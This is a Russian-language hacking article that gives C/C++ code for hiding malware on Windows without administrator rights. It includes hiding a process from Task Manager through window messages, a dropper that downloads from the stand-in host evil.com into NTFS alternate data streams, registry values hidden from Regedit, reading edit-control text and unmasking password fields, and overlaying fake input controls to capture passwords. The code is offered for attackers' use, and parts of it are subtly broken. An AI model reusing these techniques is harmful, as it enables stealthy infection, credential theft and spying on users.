В последнее время количество атак, нацеленных на конечных пользователей значительно возросло. Причин для этого множество
- от кражи конфиденциальной информации до организации системы распределенного подбора паролей. Так или иначе, перед разработчиками такого рода программ стоят два задания: проникновение и сокрытие своего присутствия в системе…
Проникновение
Для проникновения используются уязвимости в клиентском программном обеспечении. К таким относятся браузеры, сетевые сервисы и собственно сама операционная система. О новых найденных
уязвимостях атакующий всегда может узнать на сайтах с соответствующей тематикой или приобрести неопубликованный(0-day) эксплоит у людей, которые занимаются их поиском. Поэтому данную часть можно пропустить и перейти к самой статье.
Сокрытие в системе
В данной статье пойдет речь о технологиях, которые могут быть использованы для того, чтобы спрятать работу какого-либо приложения в ОС Windows. Естественно, что имеются в виду решения на базе Windows NT/2000/XP.
На эту тему было написано уже достаточно документов, но мы попробуем взглянуть на некоторые проблемы, связанные с классическими решениям, а именно на права пользователя в системе. Так уже сложилось, что практически все известные методы требуют привилегии системы, но зачастую их у локального пользователя просто нет. Кто-то может возразить, что это не проблема и их можно получить. В некоторых случаях это действительно так, существует множество технологий что бы повысить свой статус. Но большинство из них очень специфичны. А в случае подмены сервисов, если в качестве файловой системы используется NTFS, то атака невозможна. Поэтому, немного поэкспериментировав, мне удалось добиться достаточно интересных решений, не требующих системных привилегий.
1. Удаление из TaskManager
2. Загрузка на диск
3. Невидимые параметры в реестре
4. Слежение за нажатиями клавиш
5. Подмена элементов управления
Удаление из TaskManager
Для проверки списка процессов работающих в системе чаще всего используется стандартный TaskManager. Это обычное приложение, которое входит в поставку с Windows и находится в директории с установленной ОС. Его можно подменить, используя подмену сервисов или установить HOOK на функцию, которая используется для получения списка процессов. Но мы поступим иначе, учитывая, что эти функции нам недоступны.
Если диспетчер задач – это обыкновенное окно, то к нему можно применить атаку класса Shatter. Что это значит? Мы попытаемся воздействовать на него средствами сообщений как на обычное окно. Для примера, следующий блок кода спрячет его окно:
printf("Detecting of Task Manager...\n");
HWND hTaskMan = 0;
while( !hTaskMan )
{
hTaskMan = FindWindow( "#32770" , "Windows Task Manager" );
}
ShowWindow( hTaskMan, SW_HIDE );
На этом наши возможности не ограничиваются. Для отображения списка используется элемент управления ListView. Он дочерний для окна и также как и любое другое окно может быть получен с использованием функции EnumChildWindows. Для поиска воспользуемся тем, что нам известен класс окна – «SysListView32»:
struct Search
{
char* lpClass; HWND hWindow;
};
BOOL CALLBACK FindWindowByClass( HWND hWindow, LPARAM lpSearch )
{
BOOL bFound = false;
char* lpWindowClass = new char[0xFF];
if( GetClassName( hWindow, lpWindowClass, 0xFF ) )
{
if( !strcmp( lpWindowClass, ((Search*)lpSearch)->lpClass ) )
{
((Search*)lpSearch)->hWindow = hWindow;
bFound = true;
}
}
delete [] lpWindowClass; return !bFound;
}
// здесь искался дескриптор окна…
Search scSearch;
scSearch.lpClass = "SysListView32";
scSearch.hWindow = 0x00000000;
EnumChildWindows( hTaskMan, FindWindowByClass, (LPARAM) &scSearch );
HWND hSysList = scSearch.hWindow;
printf( "Process list handle: 0x%8x\n", (long)hSysList );
Для тестирования я написал несколько полезных мне функций и поэтому я привожу их вам в примерах. Более детально останавливаться на использовании API для работы с окнами я не могу, в Интернете вы всегда сможете найти дополнительную информацию по теме.
Теперь вернемся снова к нашей проблеме. Получив дескриптор списка, мы уже можем воздействовать прямо на него. Так, следующий код очистит список процессов:
SendMessage( hSysList, LVM_DELETEALLITEMS, 0 0 );
Но пересмотрев все сообщения, которые он принимает, оказалось, что все не так просто. Проблема возникает, если мы пытаемся передать в качестве параметра адрес на какую-либо область памяти. К примеру, чтобы удалить себя из списка можно воспользоваться сообщением LVM_DELETEITEM. Но его первый параметр это индекс элемента, который нужно удалить. А необходимо спрятать только один процесс, оставив остальные. Тут возникает естественный вопрос о том, как узнать свой индекс из списка. Для этого используется сообщение LVM_GETITEM, но его второй параметр это указатель на структуру с требуемой информацией. Если вы попытаетесь воспользоваться им, указав на область памяти вашего приложения, то это вызовет ошибку и возможно крушение менеджера. Если бы вы имели высокие права, то для этих целей можно было бы выделить область памяти внутри диспетчера задач, но увы, их нет…
После длительных поисков меня заинтересовало сообщение LVM_GETITEMSTATE, которое возвращает информацию о некоторых свойствах элемента как правду или ложь. Например, чтобы узнать выделен 5-й элемент или нет, достаточно исполнить:
if( SendMessage( hSysList,LVM_GETITEMSTATE, 5 , LVIS_SELECTED ) )
{ // да выделен… }
Теперь немного объясню, чем именно оно меня заинтересовало. Дело в том, что если вы просматриваете список процессов, то можете с легкостью находить интересующие вас процессы просто набирая первую часть его имени. Этот механизм позволяет делать удобную навигацию по спискам, но кроме этого может пригодиться для наших целей. Если вы еще не догадались, что я имею в виду, то вспомните о сообщении WM_CHAR. Оно сообщает окну о нажатии той или иной клавиши. А если нам известно, что нужно прятать процесс “ICQ.EXE”, значит необходимо послать диспетчеру последовательность символов: “I”,”C”,”Q”,”.”,”E”,”X”,”E”. После этого выделенным станет нужный элемент, а узнать его индекс можно последовательно спрашивая каждый элемент активен ли он. И если мы нашли выделенный, значит это “ICQ.EXE” и его нужно удалить.
void TypeName( HWND hControl,char* chString )
{
for(int index=0;index<int(strlen(chString));++index)
SendMessage( hControl, WM_CHAR, chString[index],0x00210001);
}
TypeName( hSysList, (char*)lpProcess );
printf( "Disclosing index of \'%s\'\n", lpProcess );
int intLeftItemsCount = (int)SendMessage( hSysList, LVM_GETITEMCOUNT, 0, 0 );
while( intLeftItemsCount )
{
if( SendMessage( hSysList,LVM_GETITEMSTATE, intLeftItemsCount, LVIS_SELECTED ) )
{
SendMessage( hSysList, LVM_DELETEITEM, intLeftItemsCount, 0 );
printf( "\'%s\' deleted from the list\n", lpProcess );
break;
}
--intLeftItemsCount;
}
Правда есть небольшая проблема, после первого же обновления списка процессов “ICQ.EXE” снова станет виден. Я вышел из этой проблемы радикально. В меню диспетчера есть меню для настройки частоты обновления списка. Поскольку соответствующие меню активизируются через сообщения WM_COMMAND, то ничто не мешает принудительно послать
команду окну, так как если бы это сделал локальный пользователь.
const LPARAM IDM_PAUSED = 40025;
SendMessage( hTaskMan, WM_COMMAND, IDM_PAUSED, 0 );
printf( "List updating disabled\n" );
Воспользовавшись этими наработками вы можете с легкостью спрятать свой процесс. Только следует заметить, что перед манипуляциями с окном его лучше спрятать
(SW_HIDE) еще до его появления на экране.
Загрузка на диск
Одной из проблем, возникающих после проникновения, является свое сохранение на клиентском компьютере. Дело в том, что если используется NTFS, запись разрешена далеко не во все директории. Естественно, что остаются места, которые на которые по умолчанию разрешена запись, но и они могут быть прикрыты специализированными утилитам (напр. FolderGuard). В таком случае я предлагаю произвести поиск по всему диску, и записаться в первую доступную директорию:
struct InstallSettings {
char* lpURL;
char* lpLocation;
};
BOOL CheckForAccess( char* lpCeckingLocation, char* lpCeckingFile = "System Volume
Infornation" )
{
BOOL bAccess = true; HANDLE hFile; char* lpCeckingName = new
char[strlen(lpCeckingFile)+strlen(lpCeckingLocation)+1];
sprintf( lpCeckingName, "%s%s\0", lpCeckingLocation, lpCeckingFile );
hFile = CreateFile( lpCeckingName , GENERIC_READ, FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
if (ERROR_ACCESS_DENIED == GetLastError() ) bAccess = false;
}
CloseHandle( hFile );
delete [] lpCeckingName;
return bAccess;
}
int ParseDirectory( char* lpParsedLocation, InstallSettings* lpAction )
{
WIN32_FIND_DATA fdFileData;
char* lpLocation = new char[ strlen(lpParsedLocation) + 3 ];
sprintf( lpLocation, "%s\\*\0", lpParsedLocation );
HANDLE hSearch;
int lpTargetDirectory = 0x01;
hSearch = FindFirstFile( lpLocation , &fdFileData);
if (hSearch == INVALID_HANDLE_VALUE)
{
lpTargetDirectory = 0x00;
}
while ( lpTargetDirectory )
{
if ( ( fdFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY ) && strcmp( fdFileData.cFileName, "." ) && strcmp( fdFileData.cFileName, ".." ) )
{
if ( CheckForAccess( fdFileData.cFileName ) )
{
char* lpStream = new char[ strlen(lpParsedLocation) + strlen(fdFileData.cFileName) + strlen(lpAction->lpLocation) + 3 ];
sprintf( lpStream, "%s\\%s:%s\0", lpParsedLocation,
fdFileData.cFileName, lpAction->lpLocation );
printf( "Write stream \"%s\" to the file: \n%s\\%s\n", lpAction->lpLocation, lpParsedLocation, fdFileData.cFileName );
URLDownloadToFile( 0, lpAction->lpURL, lpStream , 0, 0 );
delete [] lpStream;
break;
}
char* lpNextLocation = new char[ strlen(lpParsedLocation) + strlen(fdFileData.cFileName) + 2 ];
sprintf( lpNextLocation, "%s\\%s\0",lpParsedLocation, fdFileData.cFileName );
ParseDirectory( lpNextLocation, lpAction );
delete [] lpNextLocation;
}
if ( !FindNextFile(hSearch, &fdFileData) )
{
lpTargetDirectory = 0x00;
}
}
FindClose(hSearch);
return lpTargetDirectory;
}
int _tmain(int argc, _TCHAR* argv[])
{
InstallSettings isAction;
isAction.lpURL = "http://www.evil.com/file.exe ";
isAction.lpLocation = "file.exe";
int a = ParseDirectory( "c:", &isAction );
//printf(a);
return 0;
}
Если вы заметили, то файл записывается не как содержимое директории, а как в файл. Дело в том, что NTFS позволяет делать записи в потоки файловой системы. Эти потоки ассоциируются с каким-либо файлом, а директория это и есть файл, только с атрибутом FILE_ATTRIBUTE_DIRECTORY. Поэтому мы записываем закачанный файл в нее.
Вы также без проблем можете сохранить его в поток со служебным именем. Эти потоки используются системой в конкретных целях, но некоторые из них просто существуют и, записав исполнимый файл туда, вы не повлияете на стабильность работы системы.
Запустить файл, можно исполнив команду «start .\ДИРЕКТОРИЯ:ФАЙЛ». Более подробное описание вы найдете в ресурсах, список которых приведен в конце статьи.
Невидимые параметры в реестре
Недавно, работая с реестром, меня заинтересовало, как записать дынные с реестра, чтобы при просмотре их через Regedit, они оставались невидимыми. Тесты с внедрением специфических символов провалились, но зато обнаружилась достаточно интересная особенность.
Если попытаться записать в реестр параметр с очень длинным именем, то он не будет отображаться в Regedit. Хотя на самом деле он там есть, и его можно с легкостью прочитать используя стандартные функции для работы с реестром.
char* GenerateHiddenName( char* lpName, BOOL bAutoDeleteOperand = false )
{
char* chHiddenName = new char[0x0FFF];
memset( chHiddenName, 0x00, 0x0FFF );
DWORD dwSignatureSize = 0x0FFF - strlen( lpName ) - 1;
for(DWORD dwByte = 0; dwByte<dwSignatureSize; ++dwByte )
{
chHiddenName[dwByte] = 'X';
}
memcpy( chHiddenName + dwSignatureSize - 1, lpName, strlen( lpName ) );
if( bAutoDeleteOperand ) delete [] lpName;
return chHiddenName;
}
void WriteHiddenData( HKEY hKey, char* lpLocation, char* lpName, LPVOID lpValue, DWORD dwSize )
{
HKEY hOpenedKey;
RegCreateKey( hKey, lpLocation, &hOpenedKey );
if( !hOpenedKey ) return;
RegSetValueEx( hOpenedKey, GenerateHiddenName(lpName) , 0,
REG_BINARY, (BYTE*)lpValue, dwSize );
RegCloseKey(hOpenedKey);
}
void ReadHiddenData( HKEY hKey, char* lpLocation, char* lpName, LPVOID lpValue, LPDWORD lpSize )
{
HKEY hOpenedKey;
RegCreateKey( hKey, lpLocation, &hOpenedKey);
if( !hOpenedKey ) return;
DWORD dwType = REG_BINARY;
RegQueryValueEx( hOpenedKey, GenerateHiddenName(lpName) , 0, &dwType, (BYTE*)lpValue, lpSize );
RegCloseKey(hOpenedKey);
}
writeHiddenData( HKEY_CURRENT_USER, "Software\\HiddenData", "data8", "value2", 6 );
char* chHiddenValue = new char[0xFFFF];
memset( chHiddenValue, 0x00, 0xFFFF );
LPDWORD size = new DWORD;
ReadHiddenData( HKEY_CURRENT_USER, "Software\\HiddenData", "data8", chHiddenValue, size );
printf( " Read value %s\n", chHiddenValue );
Данная технология, может быть использована для сохранения собираемы данных. Это могут быть файлы, пароли, вводимый текст, нажатия мышки и т.д.
Правда, попытка записать такой параметр в раздел автозагрузки не принес никаких результатов. Он просто игнорируется системой.
Слежение за нажатиями клавиш
Установка HOOK на нажатия клавиш это то, что всегда используется для их перехвата. Но есть и другие способы получить к ним доступ.
Поля ввода – это обычные элементы управления. И мы с легкостью можем получить к ним доступ, если воспользуемся сообщением WM_GETTEXT. Использовать эту технологию можно по-разному, от сохранения данных всех отображаемых полей, до выборки только тех, в которые пользователь вводит определенную информацию.
char* GetTextFromActiveEdit()
{
POINT ptCursor;
WINDOWPLACEMENT wpActive;
GetCursorPos( &ptCursor );
HWND hActiveWindow;
hActiveWindow = WindowFromPoint( ptCursor );
char* lpClassName = new char[ 0xFF ];
GetClassName( hActiveWindow,lpClassName, 0xFF );
char* lpText = 0;
if( !strcmp( lpClassName, "Edit" ) )
{
int intTextLength =(int)SendMessage( hActiveWindow, WM_GETTEXTLENGTH, 0, 0 );
lpText = new char[ intTextLength ];
SendMessage( hActiveWindow, WM_GETTEXT , intTextLength ,(LPARAM)lpText );
}
delete [] lpClassName;
return lpText;
}
Полученные данные можно сохранять, например, в реестр выше описанным способом. Но если продолжать тему перехвата клавиш, то могу предложить еще одну технологию, которая достойна особого внимания.
Подмена элементов управления
Прошлый пример перехвата текста, который содержится в полях ввода подходит не во всех случаях. Если речь идет о вводе пароля, то мы не получим текст, который находится под звездочками. Но это не тупик, ведь всегда можно послать сообщение EM_SETPASSWORDCHAR, чтобы убрать их.
Другое дело, если речь идет об объектах, которые находятся в классе «Internet Explorer_Server»
(как окно или IID_IHTMLWindow как объект в С++). У них есть, одна интересная особенность. К таким компонентам нельзя обращаться через сообщения. Поэтому для перехвата передаваемых на элементы данных необходимо выдумывать новые методы.
Один из авторов хакера R4D][ предлагает использовать перехват методов COM объектов. Я не уверен, что данный метод будет работоспособен при наличии ограниченной учетной записи, поэтому могу предложить вашему вниманию не столь красивое, но действенное решение.
Так уже устроена ОС Windows, что все графические элементы могут находиться в любом месте экрана. Этим можно воспользоваться, чтобы подменить элементы пользовательского интерфейса.
Посмотрите на рисунок. Элемент 1 – настоящее поле ввода для пароля, а элемент 2, это созданный другим процессом компонент , который просто находится в одних координатах с элементом 1. Идея заключается в том, чтобы пользователь вводил данные не в Эл. 1, а в Эл.2. Чтобы реализовать данную идею на практике необходимо выполнить следующие требования:
- фальшивый элемент должен находиться в тех же координатах, что и настоящий
- весь полученный ввод должен дублироваться на настоящий элемент
- окно в котором создан настоящий элемент должно быть «активно»
(только визуально)
Относительно координат есть два варианта:
1. Если речь идет о подмене элементов хранящихся в IID_IHTMLWindow то координаты следует высчитывать относительно окна владельца.
2. Если цель это подмена обычных элементов, то тут уже технология немного иная и более гибкая.
Для примера я опишу второй вариант. Первое – это подсчет позиции. Но не стоит забывать, что компонент должен быть подменен в том случае если настоящий активный, и спрятанным в противоположном случае.
class FakeControl
{
public: FakeControl( char* lpClassName );
~FakeControl();
void Start( BOOL bAutoUpdate = 0, int intInterval = 1000 );
void Update();
void Stop();
char* lpClass;
HWND hMainWindow;
HWND hControl;
BOOL bActive;
HANDLE hThread;
int intInterval;
private: int CreateControl();
DWORD WINAPI AutoUpdate( LPVOID lpFakeControl );
};
int FakeControl::CreateControl()
{
WNDCLASS wcFakeControl;
LOGBRUSH bBasicBrush = {BS_SOLID,0,0};
ZeroMemory(&wcFakeControl,sizeof(wcFakeControl));
wcFakeControl.style = CS_HREDRAW | CS_VREDRAW | CS_OWNDC;
wcFakeControl.lpfnWndProc = (WNDPROC) WndProc;
wcFakeControl.cbClsExtra = 0;
wcFakeControl.cbWndExtra = 0;
wcFakeControl.hInstance = 0;
wcFakeControl.hIcon = NULL;
wcFakeControl.hCursor = LoadCursor( NULL, 0);
wcFakeControl.hbrBackground = CreateBrushIndirect( &bBasicBrush );
wcFakeControl.lpszMenuName = NULL;
wcFakeControl.lpszClassName = _T("FakeControl");
if( !RegisterClass(&wcFakeControl) ) return 0;
hMainWindow = CreateWindowEx ( WS_EX_APPWINDOW|WS_EX_TOPMOST, "FakeControl", 0, WS_POPUP, 0, 0, 0, 0, HWND_DESKTOP, 0, hInstance, 0 );
if( !hMainWindow ) return 0;
hControl = CreateWindow( lpClass, NULL, WS_CHILD, 0, 0, 0, 0, hMainWindow, 0,0 , NULL ); ShowWindow( hMainWindow, SW_HIDE );
ShowWindow( hControl, SW_SHOW );
};
FakeControl::FakeControl( char* lpClassName ) :bActive(0), :hThread(0)
{
lpClass = lpClassName; CreateControl();
};
FakeControl::~FakeControl()
{
delete lpCLass;
};
void FakeControl::Start( BOOL bAutoUpdate, int intInterval )
{
bActive = true;
if( bAutoUpdate )
{
intUpdateInterval = intInterval;
DWORD tidAutoUpdate = 0;
hThread = CreateThread( 0, 0, AutoUpdate, (LPVOID)this, 0, &tidAutoUpdate );
}
};
void FakeControl::Stop()
{
bActive = false;
}
void FakeControl::Update()
{
if( !bActive ) return;
POINT ptCursor;
GetCursorPos( &ptCursor );
HWND hActiveWindow = WindowFromPoint( ptCursor );
if( !hActiveWindow ) return 0;
if( hActiveWindow == hControl ) return 0;
char* lpClassName = new char[0xFF];
GetClassName( hActiveWindow, lpClassName,0xFF);
if( !strcmp( lpClassName , lpClass ) )
{
char* lpOldText = new char[0xFF];
SendMessage( hActiveWindow, WM_GETTEXT, 0xFF, (LPARAM)lpOldText );
SendMessage( hControl, WM_SETTEXT, 0, (LPARAM)lpOldText );
RECT* rClient = new RECT;
GetWindowRect( hActiveWindow, rClient );
SetWindowPos ( hMainWindow, 0, rClient->left, rClient->top, rClient->right, rClient->bottom, 0 );
SetWindowPos ( hControl, 0, 0, 0, rClient->right, rClient->bottom, 1 );
delete lpOldText;
delete rClient;
ShowWindow( hMainWindow, SW_SHOW );
}
else
{
ShowWindow( hMainWindow, SW_HIDE );
}
delete [] lpClassName;
};
DWORD WINAPI AutoUpdate( LPVOID lpFakeControl )
{
while ( ((FakeControl*)lpFakeControl)->bActive )
{
((FakeControl*)lpFakeControl)->Update();
Sleep ( ((FakeControl*)lpFakeControl)->intInterval );
}
return 0;
};
Выше приведенный класс примитивно подменяет какой угодно элемент на открытых окнах. В конструкторе ему необходимо передать имя подменяемого класса
(напр. «Edit» для подмены полей ввода). Примитивный потому, что он не определяет настройки стиля и цветов подменяемых компонент. Для корректировки стилей вы можете воспользоваться функцией GetWindowInfo() но я этого делать не стал, так как этот процесс достаточно трудоемкий и заслуживает отдельного внимания. А пока выполним следующие условия.
Для передачи нажатых клавиш на настоящее окно добавьте к обработчику сообщений следующий код:
LRESULT CALLBACK WndProc(HWND hWindow, UINT intMessage, WPARAM wParam, LPARAM
lParam)
{
switch (message)
{
case WM_CREATE:
……………
break;
……………
// <ADD>
case WM_CHAR: SendMessage( hOriginalControl, WM_CHAR, wParam, lParam );
Break;
// </ADD>
……………
case WM_DESTROY: PostQuitMessage(0);
break;
default: return DefWindowProc(hwnd, message, wParam, lParam);
}
return 0;
}
Таким образом мы перенаправим все нажатия клавиш на настоящий компонент
(с дескриптором hOriginalControl). Единственная проблема это то, что после подмены окно, которое содержит настоящий элемент, будет неактивно
(см. примеры 1,2 ).
Для имитации того, что окно активно ему следует послать оповещение WM_NCACTIVATE. Отсылку необходимо добавить в функцию FakeControl::Update():
HWND hParentWindow = GetParent( hActiveWindow );
if( !hParentWindow ) return;
SendMessage( hParentWindow, WM_NCACTIVATE, 1, 0);
Как вы уже поняли, данные примеры доказывают, что не всегда для сокрытия приложения на компьютере необходимо получить системные привилегии. Это не все о чем я хотел вам рассказать, просто в рамки одной статьи все не влезет. Надеюсь, что вам понравился данный материал. Если возникают какие-то вопросы, задавайте их в комментариях.